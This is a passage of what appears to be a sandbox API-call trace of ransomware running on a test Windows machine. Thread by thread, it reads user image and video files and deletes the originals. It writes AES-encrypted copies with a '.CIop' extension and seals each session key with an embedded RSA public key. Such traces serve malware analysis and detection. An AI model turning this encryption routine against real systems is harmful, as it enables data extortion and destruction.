DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\Q07hPTbYaA2sSmp7JYW8.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\_eel\\q07hptbyaa2ssmp7jyw8.swf")) returned 0 Thread: id = 227 os_tid = 0xc40 [0107.443] lstrcpyA (in: lpString1=0x357e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0107.443] lstrcpyW (in: lpString1=0x357f368, lpString2="QGtWvWHnjohYH0 tv.swf" | out: lpString1="QGtWvWHnjohYH0 tv.swf") returned="QGtWvWHnjohYH0 tv.swf" [0107.443] lstrcpyW (in: lpString1=0x357f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\" [0107.443] SetErrorMode (uMode=0x1) returned 0x1 [0107.443] wsprintfW (in: param_1=0x357eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\QGtWvWHnjohYH0 tv.swf") returned 59 [0107.443] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\QGtWvWHnjohYH0 tv.swf", dwFileAttributes=0x20) returned 1 [0107.444] StrStrW (lpFirst="QGtWvWHnjohYH0 tv.swf", lpSrch=".CIop") returned 0x0 [0107.444] wsprintfW (in: param_1=0x357e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\QGtWvWHnjohYH0 tv.swf.CIop") returned 64 [0107.444] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\QGtWvWHnjohYH0 tv.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\_eel\\qgtwvwhnjohyh0 tv.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x68c [0107.444] ReadFile (in: hFile=0x68c, lpBuffer=0x670900, nNumberOfBytesToRead=0x711c, lpNumberOfBytesRead=0x357e5e8, lpOverlapped=0x0 | out: lpBuffer=0x670900*, lpNumberOfBytesRead=0x357e5e8*=0x711c, lpOverlapped=0x0) returned 1 [0107.445] CloseHandle (hObject=0x68c) returned 1 [0107.445] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\QGtWvWHnjohYH0 tv.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\_eel\\qgtwvwhnjohyh0 tv.swf")) returned 1 [0107.446] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0107.446] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0107.446] SetErrorMode (uMode=0x1) returned 0x1 [0107.446] CryptAcquireContextW (in: phProv=0x357e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x357e5b8*=0x67b8a0) returned 1 [0107.448] CryptGenKey (in: hProv=0x67b8a0, Algid=0x1, dwFlags=0x4000, phKey=0x357e5bc | out: phKey=0x357e5bc*=0x67e2b8) returned 1 [0107.515] CryptExportKey (in: hKey=0x67e2b8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x357e5ec | out: pbData=0x0*, pdwDataLen=0x357e5ec*=0x94) returned 1 [0107.515] CryptExportKey (in: hKey=0x67e2b8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x357e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x357e5ec*=0x94) returned 1 [0107.515] CryptDestroyKey (hKey=0x67e2b8) returned 1 [0107.515] CryptReleaseContext (hProv=0x67b8a0, dwFlags=0x0) returned 1 [0107.515] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\QGtWvWHnjohYH0 tv.swf.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\_eel\\qgtwvwhnjohyh0 tv.swf.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6c4 [0107.516] WriteFile (in: hFile=0x6c4, lpBuffer=0x670900*, nNumberOfBytesToWrite=0x711c, lpNumberOfBytesWritten=0x357e5d8, lpOverlapped=0x0 | out: lpBuffer=0x670900*, lpNumberOfBytesWritten=0x357e5d8*=0x711c, lpOverlapped=0x0) returned 1 [0107.517] SetFilePointer (in: hFile=0x6c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x711c [0107.517] WriteFile (in: hFile=0x6c4, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x357e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x357e5d8*=0x7, lpOverlapped=0x0) returned 1 [0107.517] SetFilePointer (in: hFile=0x6c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x7123 [0107.517] SetErrorMode (uMode=0x1) returned 0x1 [0107.517] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0107.517] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x357d5b8, pcbBinary=0x357d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x357d5b8, pcbBinary=0x357d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0107.517] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x357d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x357d5a0, pcbStructInfo=0x357d598 | out: pvStructInfo=0x357d5a0, pcbStructInfo=0x357d598) returned 1 [0107.517] CryptAcquireContextW (in: phProv=0x357d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x357d5a8*=0x67b790) returned 1 [0107.517] CryptImportPublicKeyInfoEx (in: hCryptProv=0x67b790, dwCertEncodingType=0x1, pInfo=0x689d68, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x357d5b0 | out: phKey=0x357d5b0*=0x67dcb8) returned 1 [0107.517] CryptEncrypt (in: hKey=0x67dcb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x357d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x357d5b4*=0x80) returned 1 [0107.517] CryptEncrypt (in: hKey=0x67dcb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x67b818*, pdwDataLen=0x357d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x67b818*, pdwDataLen=0x357d5a4*=0x80) returned 1 [0107.517] WriteFile (in: hFile=0x6c4, lpBuffer=0x67b818*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x357e5d8, lpOverlapped=0x0 | out: lpBuffer=0x67b818*, lpNumberOfBytesWritten=0x357e5d8*=0x80, lpOverlapped=0x0) returned 1 [0107.518] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.518] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0107.518] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0107.518] CloseHandle (hObject=0x6c4) returned 1 [0107.519] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\QGtWvWHnjohYH0 tv.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\_eel\\qgtwvwhnjohyh0 tv.swf")) returned 0 Thread: id = 228 os_tid = 0xc48 [0107.520] lstrcpyA (in: lpString1=0x367e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0107.520] lstrcpyW (in: lpString1=0x367f368, lpString2="Na0N0W_tVH__RG.bmp" | out: lpString1="Na0N0W_tVH__RG.bmp") returned="Na0N0W_tVH__RG.bmp" [0107.520] lstrcpyW (in: lpString1=0x367f768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\" [0107.520] SetErrorMode (uMode=0x1) returned 0x1 [0107.520] wsprintfW (in: param_1=0x367eb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\Na0N0W_tVH__RG.bmp") returned 77 [0107.520] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\Na0N0W_tVH__RG.bmp", dwFileAttributes=0x20) returned 1 [0107.520] StrStrW (lpFirst="Na0N0W_tVH__RG.bmp", lpSrch=".CIop") returned 0x0 [0107.520] wsprintfW (in: param_1=0x367e758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\Na0N0W_tVH__RG.bmp.CIop") returned 82 [0107.520] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\Na0N0W_tVH__RG.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\85kqqfxpbtbepm1ws\\na0n0w_tvh__rg.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0107.521] ReadFile (in: hFile=0x694, lpBuffer=0x658670, nNumberOfBytesToRead=0x148fb, lpNumberOfBytesRead=0x367e5e8, lpOverlapped=0x0 | out: lpBuffer=0x658670*, lpNumberOfBytesRead=0x367e5e8*=0x148fb, lpOverlapped=0x0) returned 1 [0107.521] CloseHandle (hObject=0x694) returned 1 [0107.522] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\Na0N0W_tVH__RG.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\85kqqfxpbtbepm1ws\\na0n0w_tvh__rg.bmp")) returned 1 [0107.538] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0107.539] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0107.539] SetErrorMode (uMode=0x1) returned 0x1 [0107.539] CryptAcquireContextW (in: phProv=0x367e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x367e5b8*=0x67b8a0) returned 1 [0107.541] CryptGenKey (in: hProv=0x67b8a0, Algid=0x1, dwFlags=0x4000, phKey=0x367e5bc | out: phKey=0x367e5bc*=0x67df78) returned 1 [0107.580] CryptExportKey (in: hKey=0x67df78, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x367e5ec | out: pbData=0x0*, pdwDataLen=0x367e5ec*=0x94) returned 1 [0107.580] CryptExportKey (in: hKey=0x67df78, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x367e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x367e5ec*=0x94) returned 1 [0107.580] CryptDestroyKey (hKey=0x67df78) returned 1 [0107.580] CryptReleaseContext (hProv=0x67b8a0, dwFlags=0x0) returned 1 [0107.581] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\Na0N0W_tVH__RG.bmp.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\85kqqfxpbtbepm1ws\\na0n0w_tvh__rg.bmp.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x53c [0107.581] WriteFile (in: hFile=0x53c, lpBuffer=0x658670*, nNumberOfBytesToWrite=0x148fb, lpNumberOfBytesWritten=0x367e5d8, lpOverlapped=0x0 | out: lpBuffer=0x658670*, lpNumberOfBytesWritten=0x367e5d8*=0x148fb, lpOverlapped=0x0) returned 1 [0107.583] SetFilePointer (in: hFile=0x53c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x148fb [0107.583] WriteFile (in: hFile=0x53c, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x367e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x367e5d8*=0x7, lpOverlapped=0x0) returned 1 [0107.583] SetFilePointer (in: hFile=0x53c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x14902 [0107.583] SetErrorMode (uMode=0x1) returned 0x1 [0107.583] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0107.583] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x367d5b8, pcbBinary=0x367d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x367d5b8, pcbBinary=0x367d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0107.583] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x367d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x367d5a0, pcbStructInfo=0x367d598 | out: pvStructInfo=0x367d5a0, pcbStructInfo=0x367d598) returned 1 [0107.583] CryptAcquireContextW (in: phProv=0x367d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x367d5a8*=0x67b8a0) returned 1 [0107.583] CryptImportPublicKeyInfoEx (in: hCryptProv=0x67b8a0, dwCertEncodingType=0x1, pInfo=0x68a178, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x367d5b0 | out: phKey=0x367d5b0*=0x67db38) returned 1 [0107.583] CryptEncrypt (in: hKey=0x67db38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x367d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x367d5b4*=0x80) returned 1 [0107.583] CryptEncrypt (in: hKey=0x67db38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x67bb48*, pdwDataLen=0x367d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x67bb48*, pdwDataLen=0x367d5a4*=0x80) returned 1 [0107.583] WriteFile (in: hFile=0x53c, lpBuffer=0x67bb48*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x367e5d8, lpOverlapped=0x0 | out: lpBuffer=0x67bb48*, lpNumberOfBytesWritten=0x367e5d8*=0x80, lpOverlapped=0x0) returned 1 [0107.584] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.584] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0107.585] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0107.585] CloseHandle (hObject=0x53c) returned 1 [0107.587] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\Na0N0W_tVH__RG.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\85kqqfxpbtbepm1ws\\na0n0w_tvh__rg.bmp")) returned 0 Thread: id = 229 os_tid = 0xed0 [0107.561] lstrcpyA (in: lpString1=0x312e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0107.561] lstrcpyW (in: lpString1=0x312f368, lpString2="22-J61Dy1gKz.jpg" | out: lpString1="22-J61Dy1gKz.jpg") returned="22-J61Dy1gKz.jpg" [0107.561] lstrcpyW (in: lpString1=0x312f768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q\\" [0107.561] SetErrorMode (uMode=0x1) returned 0x1 [0107.561] wsprintfW (in: param_1=0x312eb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q\\22-J61Dy1gKz.jpg") returned 72 [0107.561] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q\\22-J61Dy1gKz.jpg", dwFileAttributes=0x20) returned 1 [0107.562] StrStrW (lpFirst="22-J61Dy1gKz.jpg", lpSrch=".CIop") returned 0x0 [0107.562] wsprintfW (in: param_1=0x312e758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q\\22-J61Dy1gKz.jpg.CIop") returned 77 [0107.562] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q\\22-J61Dy1gKz.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\fkya9y5pgzm9_q\\22-j61dy1gkz.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6b4 [0107.562] ReadFile (in: hFile=0x6b4, lpBuffer=0x66cf78, nNumberOfBytesToRead=0x21df, lpNumberOfBytesRead=0x312e5e8, lpOverlapped=0x0 | out: lpBuffer=0x66cf78*, lpNumberOfBytesRead=0x312e5e8*=0x21df, lpOverlapped=0x0) returned 1 [0107.563] CloseHandle (hObject=0x6b4) returned 1 [0107.563] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q\\22-J61Dy1gKz.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\fkya9y5pgzm9_q\\22-j61dy1gkz.jpg")) returned 1 [0107.599] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0107.600] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0107.600] SetErrorMode (uMode=0x1) returned 0x1 [0107.600] CryptAcquireContextW (in: phProv=0x312e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x312e5b8*=0x67bbd0) returned 1 [0107.602] CryptGenKey (in: hProv=0x67bbd0, Algid=0x1, dwFlags=0x4000, phKey=0x312e5bc | out: phKey=0x312e5bc*=0x67dbf8) returned 1 [0107.652] CryptExportKey (in: hKey=0x67dbf8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x312e5ec | out: pbData=0x0*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0107.652] CryptExportKey (in: hKey=0x67dbf8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x312e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0107.652] CryptDestroyKey (hKey=0x67dbf8) returned 1 [0107.652] CryptReleaseContext (hProv=0x67bbd0, dwFlags=0x0) returned 1 [0107.652] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q\\22-J61Dy1gKz.jpg.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\fkya9y5pgzm9_q\\22-j61dy1gkz.jpg.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0107.654] WriteFile (in: hFile=0x610, lpBuffer=0x66cf78*, nNumberOfBytesToWrite=0x21df, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x66cf78*, lpNumberOfBytesWritten=0x312e5d8*=0x21df, lpOverlapped=0x0) returned 1 [0107.655] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x21df [0107.655] WriteFile (in: hFile=0x610, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x312e5d8*=0x7, lpOverlapped=0x0) returned 1 [0107.655] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x21e6 [0107.655] SetErrorMode (uMode=0x1) returned 0x1 [0107.655] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0107.655] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 